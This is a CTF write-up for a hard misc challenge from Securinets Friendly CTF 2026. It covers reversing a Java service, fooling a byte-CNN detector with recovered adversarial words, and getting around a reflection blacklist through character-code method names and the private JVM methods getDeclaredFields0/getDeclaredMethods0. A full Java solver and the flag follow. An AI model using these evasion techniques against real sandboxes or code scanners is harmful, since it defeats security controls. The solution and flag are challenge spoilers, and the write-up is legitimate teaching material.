archlinux / r3t0x@portfolio
ALL SYSTEMS NOMINAL /
← Back to archive · Misc

Securinets Friendly CTF 2026 / Misc WRITEUP

BEGNERZZZZ MAXIING

Maxed out the LARP build and left evidence at level one.

EVENTSecurinets Friendly CTF 2026CATEGORYMiscDIFFICULTYhardPOINTS1000
misc

Walkthrough

What players receive

  • Main.jar
  • detector.py
  • detector_weights.json

Main.jar contains the exact Java 21 bytecode executed by the service, without the Java source. Players can inspect it with javap -p -c, CFR, FernFlower, JADX, or another JVM decompiler.

The service prints a fresh 16-character nonce and accepts one Base64-encoded Exploit.java. The submitted class must expose:

public static String run(Main.LarpReview review, String nonce) throws Exception

The source must finish with /* maxing:... */.

Intended solve

The detector is a byte CNN with a nonce-gated bank of negative filters. Its weights are public. Recover a printable word for each active negative channel by choosing, at every convolution position, the byte whose embedding has the largest dot product with that position's weights. Greedily append recovered words to the final comment until the logit is negative. A note made for one nonce normally fails on another nonce.

Reverse Main.jar to recover the submission ABI, filtered object graph, class-file blacklist, shard format, receipt stream and final proof algorithm.

After javac, every generated class is scanned. Literal references to the raw reflection methods, accessibility helpers, file APIs, process APIs and common JVM escape primitives are rejected. String concatenation with literals does not help because javac folds it into the same constant pool entry. Construct the three required names from character codes at runtime.

Ordinary getDeclaredFields() cannot see LarpReview.receipts. Obtain the private native Class.getDeclaredFields0(false) method, make it accessible through a dynamically located accessibility method, then recover the hidden root array.

Walk Main.Trail objects by identity rather than recursively. The graph has cycles and a fresh order on every run. Save the Main.Envelope and inspect the other objects. Ordinary getDeclaredMethods() cannot see the useful method on the permit class, so repeat the raw metadata bypass with Class.getDeclaredMethods0(false).

Calling the private zero-argument String methods yields many decoys and four real Base64URL shards. A real shard is 13 bytes:

index (1) || key bytes (8) || SHA256(nonce || first 9 bytes || "MAX")[:4]

Place the four valid parts by index to rebuild the 32-byte key. The encryption stream is SHA256(nonce || key), and the receipt is the envelope ciphertext XORed with that stream. Return the lowercase hexadecimal value of SHA256(nonce || receipt). Python verifies it and releases the flag; the flag itself never enters the submitted JVM.

The envelope is also stateful: before all four genuine dropReceipts() calls, its public getter returns fresh decoy bytes. Reading the graph but skipping the filtered-method stage therefore produces a bad proof.

Solve.java is the organizer implementation. test.py derives a new note and runs it, so no separate solver script is needed.

Reference solver

The reference solver supplied with the writeup:

import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;
import java.util.ArrayDeque;
import java.util.Base64;
import java.util.Collections;
import java.util.IdentityHashMap;
import java.util.Set;


public class Exploit {
    private static String word(int... letters) {
        char[] out = new char[letters.length];
        for (int i = 0; i < letters.length; i++) out[i] = (char) letters[i];
        return new String(out);
    }

    private static byte[] hash(byte[]... chunks) throws Exception {
        MessageDigest md = MessageDigest.getInstance("SHA-256");
        for (byte[] chunk : chunks) md.update(chunk);
        return md.digest();
    }

    private static String hex(byte[] data) {
        StringBuilder out = new StringBuilder();
        for (byte value : data) out.append(String.format("%02x", value & 255));
        return out.toString();
    }

    public static String run(Main.LarpReview review, String nonce) throws Exception {
        String openName = word(115,101,116,65,99,99,101,115,115,105,98,108,101);
        Method open = AccessibleObject.class.getMethod(openName, boolean.class);

        String fieldsName = word(103,101,116,68,101,99,108,97,114,101,100,
                                 70,105,101,108,100,115,48);
        Method rawFields = Class.class.getDeclaredMethod(fieldsName, boolean.class);
        open.invoke(rawFields, true);
        Field[] fields = (Field[]) rawFields.invoke(Main.LarpReview.class, false);

        Object[] roots = null;
        for (Field field : fields) {
            if (field.getType() == Object[].class) {
                open.invoke(field, true);
                roots = (Object[]) field.get(review);
            }
        }
        if (roots == null) return "";

        String methodsName = word(103,101,116,68,101,99,108,97,114,101,100,
                                  77,101,116,104,111,100,115,48);
        Method rawMethods = Class.class.getDeclaredMethod(methodsName, boolean.class);
        open.invoke(rawMethods, true);

        ArrayDeque<Object> queue = new ArrayDeque<>();
        Collections.addAll(queue, roots);
        Set<Object> seen = Collections.newSetFromMap(new IdentityHashMap<>());
        byte[][] pieces = new byte[4][];
        Main.Envelope envelope = null;

        while (!queue.isEmpty()) {
            Object item = queue.removeFirst();
            if (item == null || !seen.add(item)) continue;
            if (item instanceof Main.Trail trail) {
                Collections.addAll(queue, trail.walk());
                continue;
            }
            if (item instanceof Main.Envelope found) {
                envelope = found;
                continue;
            }

            Method[] methods = (Method[]) rawMethods.invoke(item.getClass(), false);
            for (Method method : methods) {
                if (method.getParameterCount() != 0 || method.getReturnType() != String.class)
                    continue;
                try {
                    open.invoke(method, true);
                    String value = (String) method.invoke(item);
                    byte[] packed = Base64.getUrlDecoder().decode(value);
                    if (packed.length != 13 || packed[0] < 0 || packed[0] > 3) continue;
                    byte[] body = java.util.Arrays.copyOf(packed, 9);
                    byte[] tag = hash(nonce.getBytes(StandardCharsets.US_ASCII), body,
                                      "MAX".getBytes(StandardCharsets.US_ASCII));
                    boolean valid = true;
                    for (int i = 0; i < 4; i++) valid &= packed[9 + i] == tag[i];
                    if (valid) pieces[packed[0]] = java.util.Arrays.copyOfRange(packed, 1, 9);
                } catch (Exception ignored) {
                }
            }
        }

        if (envelope == null) return "";
        byte[] key = new byte[32];
        for (int i = 0; i < 4; i++) {
            if (pieces[i] == null) return "";
            for (int j = 0; j < 8; j++) key[i * 8 + j] = pieces[i][j];
        }
        byte[] stream = hash(nonce.getBytes(StandardCharsets.US_ASCII), key);
        byte[] ciphertext = envelope.ciphertext();
        byte[] receipt = new byte[ciphertext.length];
        for (int i = 0; i < receipt.length; i++) receipt[i] = (byte) (ciphertext[i] ^ stream[i]);
        return hex(hash(nonce.getBytes(StandardCharsets.US_ASCII), receipt));
    }
}

/* maxing:{{NOTE}} */

Flag

Securinets{m4x1ng_th3_l4rp_d03s_n0t_m4k3_1t_r34l}
Published 2026-09-28 · by r3t0x← Back to archive · Misc
0xSEARCH_INDEX

Trace a memory.

INDEX ONLINE0 addresses
↑↓ TRACEENTER OPENESC DISMISS